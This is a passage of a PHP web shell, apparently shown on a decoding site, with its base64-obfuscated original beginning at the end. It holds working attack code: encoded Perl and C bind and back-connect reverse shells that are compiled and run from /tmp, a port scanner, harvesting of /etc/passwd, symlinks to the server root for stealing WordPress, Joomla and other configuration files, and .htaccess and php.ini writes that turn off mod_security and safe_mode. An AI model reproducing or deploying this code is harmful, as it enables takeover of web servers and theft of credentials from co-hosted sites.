    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    
    echo '<h1>Network tools</h1><div class=content>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <br /><span>Bind port to /bin/sh</span><br/>
    Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Tea\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
    </form>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <br /><br /><span>Back-connect to</span><br/>
    Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
    </form><br>';    
    if(isset($_POST['p1'])) {
        function cf($f,$t) {
            $w=@fopen($f,"w") or @function_exists('file_put_contents');
            if($w)    {
                @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST['p1'] == 'bpc') {
            cf("/tmp/bp.c",$bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
        }
        if($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
        }
        if($_POST['p1'] == 'bcc') {
            cf("/tmp/bc.c",$back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
        }
        if($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
        }
    }
    echo '</div>';
    printFooter();
}

function actionPortScanner() {
    printHeader();
    echo '<h1>Port Scanner</h1>';
    echo '<div class="content">';
    echo '<form action="" method="post">';
    
    if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
        $start = strip_tags($_POST['start']);
        $end = strip_tags($_POST['end']);
        $host = strip_tags($_POST['host']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo 'Port '.$i.' is <font color=green>open</font><br>';
            }
            flush();
        }
    } else {
        echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
              <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />';
    }
    echo '</div>';
    printFooter();    
}

function actionReadable() {
    printHeader();
    echo '<h1>Readable Dirs</h1>';
    echo '<div class="content">';
    $sm = ini_get('safe_mode');
    if($sm) {
        echo '<br /><b>Error: safe_mode = on</b><br /><br />';
    } else {
        @$passwd = fopen('/etc/passwd','r');
        if (!$passwd) { 
            echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />'; 
        } else {
            $pub = array();
            $users = array();
            $conf = array();
            $i = 0;
            while(!feof($passwd)) {
                $str = fgets($passwd);
                if ($i > 35) {
                    $pos = strpos($str,':');
                    $username = substr($str,0,$pos);
                    $dirz = '/home/'.$username.'/public_html/';
                    if (($username != '')) {
                        if (is_readable($dirz)) {
                            array_push($users,$username);
                            array_push($pub,$dirz);
                        }
                    }
                }
                $i++;
            }
            echo '<br><br>';
            echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
            echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
            foreach ($users as $user) {
                $path = "/home/$user/public_html/";
                echo $path."<br>";
            }
            echo "<br /><br /><br />[+] Complete...
"."<br />";
        }
    }
    echo '</div>';
    printFooter();    
}

function actionSymlink() {
    printHeader();
    echo '<h1>Symlink</h1>';
    $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
    $expld = explode('/',$furl );
    $burl =str_replace(end($expld),'',$furl);  
    
    echo '<div class="content"><center>
                <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
    
    if(isset($_POST['p1']) && $_POST['p1']=='website')
    {
        echo "<center>";
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains){ 
            echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
        } else {
            echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
            
            $unk = array();
            foreach($d0mains as $d0main){
                if(@eregi("zone",$d0main)){
                    preg_match_all('#zone "(.*)"#', $d0main, $domains);
                    flush();
                    if(strlen(trim($domains[1][0])) > 2){
                        $unk[] = $domains[1][0];
                        flush();
                        
                    }
                }
            }
            $count=1;
            $unk = array_unique($unk);
            $l=0;
            foreach($unk as $d){
                $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
                echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
                flush();
                $count++;
                $l=$l?0:1;
            }
            echo "</table>";
        }
        echo "</center>"; 
    }
 
    if(isset($_POST['p1']) && $_POST['p1']=='whole')
    {
        echo "<center>";
        @mkdir('sym',0777);
        $hdt  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $hfp =@fopen ('sym/.htaccess','w');
        fwrite($hfp ,$hdt);
        if(function_exists('symlink')) {
            @symlink('/','sym/root');
        }
        $d0mains = @file('/etc/named.conf');
        if(!$d0mains) {
            echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
        } else {
            echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
            $count=1;
            $mck = array();
            foreach($d0mains as $d0main){
                if(@eregi('zone',$d0main)){
                    preg_match_all('#zone "(.*)"#',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0])) >2){
                        $mck[] = $domain[1][0];
                    }
                }
            }
            $mck = array_unique($mck);
            $l=0;
            foreach($mck as $d) {
                $user = posix_getpwuid(@fileowner('/etc/valiases/'.$d));
                $ddt = $user['name'];
                //@symlink('/','sym/root');
                $ddt = $d;
                if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
                        $ddt = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$d.'</div>';
                }
                echo "<tr".($l?' class=l1':'')."><td>".$count++."</td><td><a target='_blank' href=http://".$d.'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
                flush();
                $l=$l?0:1;
            }
            echo '</table>';
        }
        echo "</center>";    
    }
 
    if(isset($_POST['p1']) && $_POST['p1']=='config')
    {
        echo "<center>";
        @mkdir('sym',0777);
        $hdt = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $hfp = @fopen ('sym/.htaccess','w');
        @fwrite($hfp ,$hdt);
        if(function_exists('symlink')) {
            @symlink('/','sym/root');
        }
        $d0mains = @file('/etc/named.conf');
        if(!$d0mains) {
            echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
        } else {
            echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
            $count = 1;
            $l=0;
            foreach($d0mains as $d0main){
                if(@eregi('zone',$d0main)){
                    preg_match_all('#zone "(.*)"#',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0]))>2){
                        $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));

                        $c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
                        $ch01 = get_headers($c1);
                        $cf01 = $ch01[0];
                        $c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
                        $ch02 = get_headers($c2);
                        $cf02 = $ch02[0];
                        $c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
                        $ch03 = get_headers($c3);
                        $cf03 = $ch03[0];
                        $c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
                        $ch04 = get_headers($c4);
                        $cf04 = $ch04[0];
                        $c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
                        $ch05 = get_headers($c5);
                        $cf05 = $ch05[0];
                        $c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
                        $ch06 = get_headers($c6);
                        $cf06 = $ch06[0];
                        $c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
                        $ch07 = get_headers($c7);
                        $cf07 = $ch07[0];
                        $c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
                        $ch08 = get_headers($c8);
                        $cf08 = $ch08[0];
                        $c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
                        $ch09 = get_headers($c9);
                        $cf09 = $ch09[0];
                        $c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
                        $ch10 = get_headers($c10);
                        $cf10 = $ch10[0];
                        $c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
                        $ch11 = get_headers($c11);
                        $cf11 = $ch11[0];
                        $c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
                        $ch12 = get_headers($c12);
                        $cf12 = $ch12[0];
                        $c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
                        $ch13 = get_headers($c13);
                        $cf13 = $ch13[0];
                        $c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
                        $ch14 = get_headers($c14);
                        $cf14 = $ch14[0];
                        $c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
                        $ch15 = get_headers($c15);
                        $cf15 = $ch15[0];
                        
                        $out = '&nbsp;';
                        if(strpos($cf01,'200') == true)                                    {   $out = "<a href='".$c1."' target='_blank'>Wordpress</a>";   } 
                        elseif(strpos($cf02,'200') == true)                                {   $out = "<a href='".$c2."' target='_blank'>Wordpress</a>";   }
                        elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) {   $out = " <a href='".$c11."' target='_blank'>WHMCS</a>";     }
                        elseif(strpos($cf09,'200') == true)                                {   $out = " <a href='".$c9."' target='_blank'>WHMCS</a>";      }
                        elseif(strpos($cf10,'200') == true)                                {   $out = " <a href='".$c10."' target='_blank'>WHMCS</a>";     }
                        elseif(strpos($cf03,'200') == true)                                {   $out = " <a href='".$c3."' target='_blank'>Joomla</a>";     }
                        elseif(strpos($cf04,'200') == true)                                {   $out = " <a href='".$c4."' target='_blank'>Joomla</a>";     }
                        elseif(strpos($cf05,'200') == true)                                {   $out = " <a href='".$c5."' target='_blank'>vBulletin</a>";  }
                        elseif(strpos($cf06,'200') == true)                                {   $out = " <a href='".$c6."' target='_blank'>vBulletin</a>";  }
                        elseif(strpos($cf07,'200') == true)                                {   $out = " <a href='".$c7."' target='_blank'>vBulletin</a>";  }
                        elseif(strpos($cf08,'200') == true)                                {   $out = " <a href='".$c7."' target='_blank'>Client Area</a>";  }
                        elseif(strpos($cf12,'200') == true)                                {   $out = " <a href='".$c7."' target='_blank'>Client Area</a>";  }
                        elseif(strpos($cf13,'200') == true)                                {   $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>";  }
                        elseif(strpos($cf14,'200') == true)                                {   $out = " <a href='".$c7."' target='_blank'>Magento</a>";  }
                        elseif(strpos($cf15,'200') == true)                                {   $out = " <a href='".$c7."' target='_blank'>Drupal</a>";  }
                        else {
                            continue;
                        }
                        echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
                        flush();
                        $l=$l?0:1;
                    }
                }
            }
            echo "</table>";
        }
        echo "</center>";   
    }
    echo "</div>";
    printFooter();
} 

function actionBypass() {
    printHeader();
    echo '<h1>Safe Mode</h1>';
    echo '<div class="content">';
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
    echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
    if(!empty($_POST['p2']) && isset($_POST['p2']))
    {
        $fil=fopen($GLOBALS['cwd'].".htaccess","w");
        fwrite($fil,'<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>');
        fclose($fil);
   }
   if(!empty($_POST['p1'])&& isset($_POST['p1']))
   {
        $fil=fopen($GLOBALS['cwd']."php.ini","w");
        fwrite($fil,'safe_mode=OFF
            disable_functions=NONE');
        fclose($fil);
    }
    if(!empty($_POST['p3']) && isset($_POST['p3']))
    {
        $fil=fopen($GLOBALS['cwd'].".htaccess","w");
        fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
        AddType application/x-httpd-cgi .sh
        AddHandler cgi-script .pl
        AddHandler cgi-script .pl');
        fclose($fil); 
    }
    echo "<br><br /><br /></div>";
    echo '</div>';
    printFooter();
}

if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);

Did this file decode correctly?

Original Code

<?php
echo eval(base64_decode('JGF1dGhfcGFzcyA9ICIyMGQ5MWNlZGIzYWI0ZmYxMGMyODJkMmJhZTU3YTY5NyI7CiRjb2xvciA9ICIjNjZiZGU1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKQGRlZmluZSgnU0VMRl9QQVRIJywgX19GSUxFX18pOwppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgewogICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CiAgICBleGl0Owp9CkBzZXNzaW9uX3N0YXJ0KCk7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1ZFUlNJT04nLCAnVmVyIDIuMCcpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsKICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsKICAgICAgICByZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwogICAgfQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7Cn0KZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsKICAgIGVjaG8gJzxoMT5Ob3QgRm91bmQ8L2gxPgogICAgICAgICAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+CiAgICAgICAgICA8aHI+CiAgICAgICAgICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgUG9ydCA4MDwvYWRkcmVzcz4KICAgICAgICAgIDxzdHlsZT5pbnB1dCB7IG1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IH08L3N0eWxlPgogICAgICAgICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PC9mb3JtPjwvY2VudGVyPic7CiAgICBleGl0Owp9CmlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkKICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8CiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyApICkgKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwogICAgZWxzZQogICAgICAgIHByaW50TG9naW4oKTsKCmlmKCBzdHJ0b2xvd2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApCiAgICAkb3MgPSAnd2luJzsKZWxzZQogICAgJG9zID0gJ25peCc7CiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmKCBpc3NldCggJF9QT1NUWydjJ10gKSApCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwppZiggJG9zID09ICd3aW4nKSB7CiAgICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkKICAgICRjd2QgLj0gJy8nOwogICAgCmlmKCRvcyA9PSAnd2luJykgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLAogICAgICAgICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLAogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKICAgICAgICAiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiAgICAgICAgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgogICAgKTsKfSBlbHNlIHsKICAgICRhbGlhc2VzID0gYXJyYXkoCiAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGEiLAogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCiAgICAgICAgIkZpbmQiID0+ICIiLAogICAgICAgICAgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAgICAgICAgICJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgICAgICAgICAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogICAgICAgICAgImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAgICAgICAiTG9jYXRlIiA9PiAiIiwKICAgICAgICAgICJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKICAgICAgICAibG9jYXRlIHByb2Z